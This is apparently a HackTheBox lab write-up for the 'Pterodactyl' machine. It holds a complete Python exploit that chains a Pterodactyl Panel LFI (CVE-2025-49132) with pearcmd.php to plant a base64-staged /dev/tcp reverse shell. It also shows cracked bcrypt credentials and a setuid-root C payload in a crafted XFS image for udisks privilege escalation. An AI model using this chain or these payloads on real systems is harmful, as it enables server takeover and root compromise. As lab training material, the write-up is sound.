Pterodactyl

📅 Last Updated: Mar 12, 2026 05:15 | 📄 Size: 19.2 KB | 🎯 Type: HackTheBox Writeup | 🎚️ Difficulty: Medium | 🔗 Back to Categories

Nmap

┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/Pterodactyl]
└─$ nmap -sC -sV -Pn 10.129.187.198 -oN ./nmap.txt
Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-12 02:21 +0000
Nmap scan report for 10.129.187.198
Host is up (0.49s latency).
Not shown: 966 filtered tcp ports (no-response), 30 filtered tcp ports (admin-prohibited)
PORT     STATE  SERVICE    VERSION
22/tcp   open   ssh        OpenSSH 9.6 (protocol 2.0)
| ssh-hostkey: 
|   256 a3:74:1e:a3:ad:02:14:01:00:e6:ab:b4:18:84:16:e0 (ECDSA)
|_  256 65:c8:33:17:7a:d6:52:3d:63:c3:e4:a9:60:64:2d:cc (ED25519)
80/tcp   open   http       nginx 1.21.5
|_http-title: Did not follow redirect to http://pterodactyl.htb/
|_http-server-header: nginx/1.21.5
443/tcp  closed https
8080/tcp closed http-proxy

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 49.47 seconds

Now add pterodactyl.htbto our /etc/hosts

HTTP - TCP 80

From the index page, we can find new domain name play.pterodactyl.htb When I try to visit to play.pterodactyl.htb, it would redirect to the origin page pterodactyl.htb.

Also the change log

MonitorLand - CHANGELOG.txt
======================================

Version 1.20.X

[Added] Main Website Deployment
--------------------------------
- Deployed the primary landing site for MonitorLand.
- Implemented homepage, and link for Minecraft server.
- Integrated site styling and dark-mode as primary.

[Linked] Subdomain Configuration
--------------------------------
- Added DNS and reverse proxy routing for play.pterodactyl.htb.
- Configured NGINX virtual host for subdomain forwarding.

[Installed] Pterodactyl Panel v1.11.10
--------------------------------------
- Installed Pterodactyl Panel.
- Configured environment:
  - PHP with required extensions.
  - MariaDB 11.8.3 backend.

[Enhanced] PHP Capabilities
-------------------------------------
- Enabled PHP-FPM for smoother website handling on all domains.
- Enabled PHP-PEAR for PHP package management.
- Added temporary PHP debugging via phpinfo()

From this Added temporary PHP debugging via phpinfo(), we can get the phpinfo()is opened, so the url /phpinfo.phpshould be worked.

Also the change log said [Installed] Pterodactyl Panel v1.11.10, so there should be sites for this service. Let's try to fuzz the sub-domains

┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/Pterodactyl]
└─$ ffuf -u http://pterodactyl.htb -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H "Host: FUZZ.pterodactyl.htb" -fc 302

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://pterodactyl.htb
 :: Wordlist         : FUZZ: /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt
 :: Header           : Host: FUZZ.pterodactyl.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response status: 302
________________________________________________

panel                   [Status: 200, Size: 1897, Words: 490, Lines: 36, Duration: 709ms]

panel.pterodactyl.htbwould be our next target here.

panel.pterodactyl.htb

Now we have get access to the service and get the version of this service Pterodactyl Panel v1.11.10, we can try to find something vulnerable CVE-2025-49132 https://www.exploit-db.com/exploits/52341

Pterodactyl Panel 1.11.11 - Remote Code Execution (RCE)

We can get the exploit script from that, let's verify the exploit

┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/Pterodactyl]
└─$ python3 exploit.py http://panel.pterodactyl.htb           
http://panel.pterodactyl.htb/ => pterodactyl:PteraPanel@127.0.0.1:3306/panel

Now we can get the credit of database by this exploit script. But we still don't have any remote shell for us to connect with the target database.

We can now use LFI to steal database credentials, and there is no access to upload a file here. So Misuse of existing server-side scripts that write to files upon execution would be our tool.

Normally, pearcmd.php is a command-line program, invoked as follows:

php /usr/local/lib/php/pearcmd.php <command> <args...>

One of its subcommands is config-create, which writes the PEAR configuration file to disk.

Here is an example of a GET request.

GET /index.php?+config-create+/&
file=/usr/local/lib/php/pearcmd.php&
/<?=phpinfo()?>+/tmp/hello.php

This code achieves two goals simultaneously:
Execute pearcmd.php (via LFI or misrouting), and
Execute pearcmd.php (via local file inclusion or misrouting), and
Smuggle CLI arguments through the URL, where:

Send CLI arguments through the URL, where:
+config-create+/ acts like a CLI command, and
+config-create+/ functions like a CLI command, and

/<?=phpinfo()?>+/tmp/hello.php is interpreted as payload + destination The path `/<?=phpinfo()?>+/tmp/hello.php` is interpreted as payload + target path.

If pearcmd.php accepts these as command-line arguments, a new file will be generated:

/tmp/hello.php

include: 
<?=phpinfo()?>

Using the existing LFI exploit statement: include base_path("resources/lang/{$locale}/{$namespace}.php");

We need to include the pearcmd.php

GET /locales/locale.json?
locale=../../../../../usr/local/lib/php&
namespace=pearcmd

Continue to append "bare parameters"

+config-create+/

Then add the file parameters

GET /locales/locale.json?
+config-create+/&
locale=../../../../../usr/local/lib/php&
namespace=pearcmd&
/<?=system($_GET['cmd'])?>+/tmp/shell.php

Now the pear would write into /tmp/shell.php

After that, we use the same LFI primitives to include our shell.

GET /locales/locale.json?
locale=../../../../../tmp&
namespace=shell

And we can execute it

GET /tmp/payload.php?cmd=id

Integrate to a script

#!/usr/bin/env python3
import argparse, subprocess, base64, urllib.parse, sys


def run(cmd: str):
    """Run curl and return (body, status_code)."""
    full = f"curl -sS -w '\\n%{​{http_code}​}' {cmd}"
    out = subprocess.check_output(full, shell=True, text=True)
    body, code = out.rsplit("\n", 1)
    return body, int(code)


def build_launcher(attacker_ip: str, attacker_port: str) -> str:
    """Create a base64-staged reverse shell launcher."""
    rev_shell = f"/bin/bash -i >& /dev/tcp/{attacker_ip}/{attacker_port} 0>&1"
    encoded = base64.b64encode(rev_shell.encode()).decode()
    launcher = f"echo {encoded} | base64 -d | /bin/bash"
    return launcher.replace(" ", "${IFS}")


def write_payload(base: str, launcher: str):
    """Stage 1 - abuse pearcmd to write /tmp/rev.php"""

    php = f"<?php @system('{launcher}'); ?>"
    encoded_php = urllib.parse.quote(php, safe="")

    locale_traversal = "../../../../../../usr/local/lib/php"

    url = (
        f'"{base}/locales/locale.json?'
        "+config-create+/&"
        f"locale={locale_traversal}&"
        "namespace=pearcmd&"
        f'/{encoded_php}+/tmp/rev.php"'
    )

    print("\n[*] STAGE 1 - Writing reverse shell payload via pearcmd")
    print("[>] Request:")
    print(url)

    body, code = run(url)
    if code == 200:
        print(f"[+] HTTP status: {code}")
    else:
        print("[-] Starge 1 failed")
        sys.exit(1)


def trigger_payload(base: str):
    """Stage 2 - include /tmp/rev.php via CVE-2025-49132 LFI"""

    url = f'"{base}/locales/locale.json?' "locale=../../../../../tmp&" 'namespace=rev"'

    print("\n[*] STAGE 2 - Triggering LFI include")
    print("[>] Request:")
    print(url)

    body, code = run(url)
    if code == 200:
        print(f"[+] HTTP status: {code}")
    else:
        print("[-] Starge 2 failed")
        sys.exit(1)


def main():
    ap = argparse.ArgumentParser()
    ap.add_argument(
        "-t", "--target", required=True, help="target url vulnerable to CVE-2025-49132"
    )
    ap.add_argument("-i", "--ip", required=True, help="attacker listener IP")
    ap.add_argument("-p", "--port", required=True, help="attacker listener port")

    args = ap.parse_args()
    base = args.target.rstrip("/")

    launcher = build_launcher(args.ip, args.port)

    write_payload(base, launcher)

    print("\n[ EXPLOIT READY ]")
    print("--------------------------------------------------")
    print(f"Start listener: nc -lvnp {args.port}")
    input("Press Enter to continue...")

    trigger_payload(base)

    print("[+] LFI trigger already sent - check listener!")


if __name__ == "__main__":
    main()

Then run the script and open the listener

┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/Pterodactyl]
└─$ python3 rce.py -t http://panel.pterodactyl.htb/ -i 10.10.14.6 -p 443

[*] STAGE 1 - Writing reverse shell payload via pearcmd
[>] Request:
"http://panel.pterodactyl.htb/locales/locale.json?+config-create+/&locale=../../../../../../usr/local/lib/php&namespace=pearcmd&/%3C%3Fphp%20%40system%28%27echo%24%7BIFS%7DL2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE0LjYvNDQzIDA%2BJjE%3D%24%7BIFS%7D%7C%24%7BIFS%7Dbase64%24%7BIFS%7D-d%24%7BIFS%7D%7C%24%7BIFS%7D%2Fbin%2Fbash%27%29%3B%20%3F%3E+/tmp/shell.php"
[+] HTTP status: 200

[ EXPLOIT READY ]
--------------------------------------------------
Start listener: nc -lvnp 443
Press Enter to continue...

[*] STAGE 2 - Triggering LFI include
[>] Request:
"http://panel.pterodactyl.htb/locales/locale.json?locale=../../../../../tmp&namespace=shell"
[+] HTTP status: 200
[+] LFI trigger already sent - check listener!

We can get the shell as wwwrun.

Remember we have the credit of database, now let's enumerate it

mysql -u pterodactyl -pPteraPanel -h 127.0.0.1 panel

MariaDB [panel]> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| panel              |
| test               |
+--------------------+
3 rows in set (0.001 sec)

MariaDB [panel]> use panel;
Database changed
MariaDB [panel]> select * from users;
+----+-------------+--------------------------------------+--------------+------------------------------+------------+-----------+----------------------------------------------------------
----+--------------------------------------------------------------+----------+------------+----------+-------------+-----------------------+----------+---------------------+--------------
-------+
| id | external_id | uuid                                 | username     | email                        | name_first | name_last | password
    | remember_token                                               | language | root_admin | use_totp | totp_secret | totp_authenticated_at | gravatar | created_at          | updated_at
       |
+----+-------------+--------------------------------------+--------------+------------------------------+------------+-----------+----------------------------------------------------------
----+--------------------------------------------------------------+----------+------------+----------+-------------+-----------------------+----------+---------------------+--------------
-------+
|  2 | NULL        | 5e6d956e-7be9-41ec-8016-45e434de8420 | headmonitor  | headmonitor@pterodactyl.htb  | Head       | Monitor   | $2y$10$3WJht3/5GOQmOXdljPbAJet2C6tHP4QoORy1PSj59qJrU0gdX5gD2 | OL0dNy1nehBYdx9gQ5CT3SxDUQtDNrs02VnNesGOObatMGzKvTJAaO0B1zNU | en       |          1 |        0 | NULL        | NULL                  |        1 | 2025-09-16 17:15:41 | 2025-09-16 17
:15:41 |
|  3 | NULL        | ac7ba5c2-6fd8-4600-aeb6-f15a3906982b | phileasfogg3 | phileasfogg3@pterodactyl.htb | Phileas    | Fogg      | $2y$10$PwO0TBZA8hLB6nuSsxRqoOuXuGi3I4AVVN2IgE7mZJLzky1vGC9Pi | 6XGbHcVLLV9fyVwNkqoMHDqTQ2kQlnSvKimHtUDEFvo4SjurzlqoroUgXdn8 | en       |          0 |        0 | NULL        | NULL                  |        1 | 2025-09-16 19:44:19 | 2025-11-07 18
:28:50 |
+----+-------------+--------------------------------------+--------------+------------------------------+------------+-----------+----------------------------------------------------------
----+--------------------------------------------------------------+----------+------------+----------+-------------+-----------------------+----------+---------------------+--------------
-------+
2 rows in set (0.001 sec)

We can try to crack the password of headmonitorand phileasfogg3 The password of phileasfogg3can be cracked

$2y$10$PwO0TBZA8hLB6nuSsxRqoOuXuGi3I4AVVN2IgE7mZJLzky1vGC9Pi:!QAZ2wsx

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 3200 (bcrypt $2*$, Blowfish (Unix))
Hash.Target......: $2y$10$PwO0TBZA8hLB6nuSsxRqoOuXuGi3I4AVVN2IgE7mZJLz...vGC9Pi

Also use this credit to ssh connect to the machine.

┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/Pterodactyl]
└─$ ssh phileasfogg3@pterodactyl.htb
The authenticity of host 'pterodactyl.htb (10.129.187.198)' can't be established.
ED25519 key fingerprint is: SHA256:FOOqnHbybkpXftYgyrorbBxkgW0L4yMSLYxG8F87SDE
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'pterodactyl.htb' (ED25519) to the list of known hosts.
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
(phileasfogg3@pterodactyl.htb) Password: 
Have a lot of fun...
Last login: Thu Mar 12 05:25:02 2026 from 10.10.14.6
phileasfogg3@pterodactyl:~> id
uid=1002(phileasfogg3) gid=100(users) groups=100(users)
phileasfogg3@pterodactyl:~> whoami
phileasfogg3

Privilege Escalation

By checking sudo -l

phileasfogg3@pterodactyl:~> sudo -l
[sudo] password for phileasfogg3: 
Matching Defaults entries for phileasfogg3 on pterodactyl:
    always_set_home, env_reset, env_keep="LANG LC_ADDRESS LC_CTYPE LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE
    LC_TIME LC_ALL LANGUAGE LINGUAS XDG_SESSION_COOKIE", !insults, secure_path=/usr/sbin\:/usr/bin\:/sbin\:/bin, targetpw

User phileasfogg3 may run the following commands on pterodactyl:
    (ALL) ALL

There are nothing useful here.

By uploading thelinpeas.shwe can find something interesting

╔══════════╣ PATH
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#writable-path-abuses                                                                                         
/home/phileasfogg3/bin:/usr/local/bin:/usr/bin:/bin                                                                                                                             
New path exported: /home/phileasfogg3/bin:/usr/local/bin:/usr/bin:/bin:/usr/local/sbin:/usr/sbin:/sbin

╔══════════╣ Cleaned processes
╚ Check weird & unexpected proceses run by root: https://book.hacktricks.xyz/linux-hardening/privilege-escalation#processes                                                  
postfix   2275  0.0  0.4  65760  8960 ?        S    Mar11   0:00  _ qmgr -l -t fifo -u
postfix  32426  0.0  0.4  49212  8704 ?        S    04:06   0:00  _ pickup -l -t fifo -u

postfixservice means there will be some emails in this machine.

phileasfogg3@pterodactyl:~> cat /var/spool/mail/phileasfogg3
From headmonitor@pterodactyl Fri Nov 07 09:15:00 2025
Delivered-To: phileasfogg3@pterodactyl
Received: by pterodactyl (Postfix, from userid 0)
id 1234567890; Fri, 7 Nov 2025 09:15:00 +0100 (CET)
From: headmonitor headmonitor@pterodactyl
To: All Users all@pterodactyl
Subject: SECURITY NOTICE — Unusual udisksd activity (stay alert)
Message-ID: 202511070915.headmonitor@pterodactyl
Date: Fri, 07 Nov 2025 09:15:00 +0100
MIME-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: 7bit

Attention all users,

Unusual activity has been observed from the udisks daemon (udisksd). No confirmed compromise at this time, but increased vigilance is required.

Do not connect untrusted external media. Review your sessions for suspicious activity. Administrators should review udisks and system logs and apply pending updates.

Report any signs of compromise immediately to headmonitor@pterodactyl.htb

— HeadMonitor
System Administrator

Unusual activity has been observed from the udisks daemon (udisksd).this leads to udisksd

udisksd is a root daemon that exposes disk operations (such as inserting and accessing USB drives) to non-privileged users via D-Bus.

Firstly, let's check the status of udisksd

phileasfogg3@pterodactyl:~> udisksctl status
MODEL                     REVISION  SERIAL               DEVICE
--------------------------------------------------------------------------
VMware Virtual disk       2.0       6000c29ebca7fe7ae790014ba03ab7ef sda  

Upon checking recent udisksd CVE vulnerabilities, we discovered CVE-2025-6018 and CVE-2025-6019.

CVE-2025-6018 allows attackers to bypass udisks' allow_active protection, thereby remotely performing physical device operations that should only be performed by local active users.

Attack Chain

The attack flow is actually:
CVE-2025-6018
↓ Bypass udisks permission checks
↓ Get the system to mount the attacker-provided image
↓ CVE-2025-6019
↓ Malicious XFS image triggers root privilege side effects during mounting
↓ Local privilege escalation (LPE)

Simple summary:
6018 gives us allow_active (authentication bypass, session spoof)
6019 turns allow_active + udisks into root (toctou code execution)

Now let's exploit them step by step Firstly weaponizing CVE-2025-6019.

// xpl.c
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

static void __attribute__ ((constructor)) _init(void);

static void _init(void) {
    printf("[+] Pwn library loaded!\n");

    setuid(0); seteuid(0); setgid(0); setegid(0);
    static char *argv[] = { "sh", NULL };
    static char *envp[] = { "PATH=/bin:/usr/bin:/sbin", NULL };
    execve("/bin/sh", argv, envp);

    printf("[!] This should not be reached!\n");
}

/**
 * dummy main to keep process alive
 */
int main() {
    pause(); 
    return 0;
}

Now build it

gcc -static -o xpl xpl.c

Then create the XFS file system

# 1) Create space (minimun 300M required for XFS)
dd if=/dev/zero of=xpl.img bs=1M count=300

# 2) Format as LEGACY XFS that libblockdev likes
mkfs.xfs -f \
  -m crc=0 \
  -n ftype=0 \
  xpl.img

Next, the malicious binary file will be implanted into the generated XFS file system.

# mount as loop ddevice type
mkdir -p /tmp/mnt
sudo mount -o loop xpl.img /tmp/mnt
sudo cp xpl /tmp/mnt/

# root-owned + suid set
sudo chown root:root /tmp/mnt/*
sudo chmod 4755 /tmp/mnt/*

# cleanup
sudo umount /tmp/mnt
rmdir /tmp/mnt

Now upload the XMS image

┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/Pterodactyl]
└─$ xz -9 xpl.img

scp xpl.img.xz phileasfogg3@pterodactyl.htb:/tmp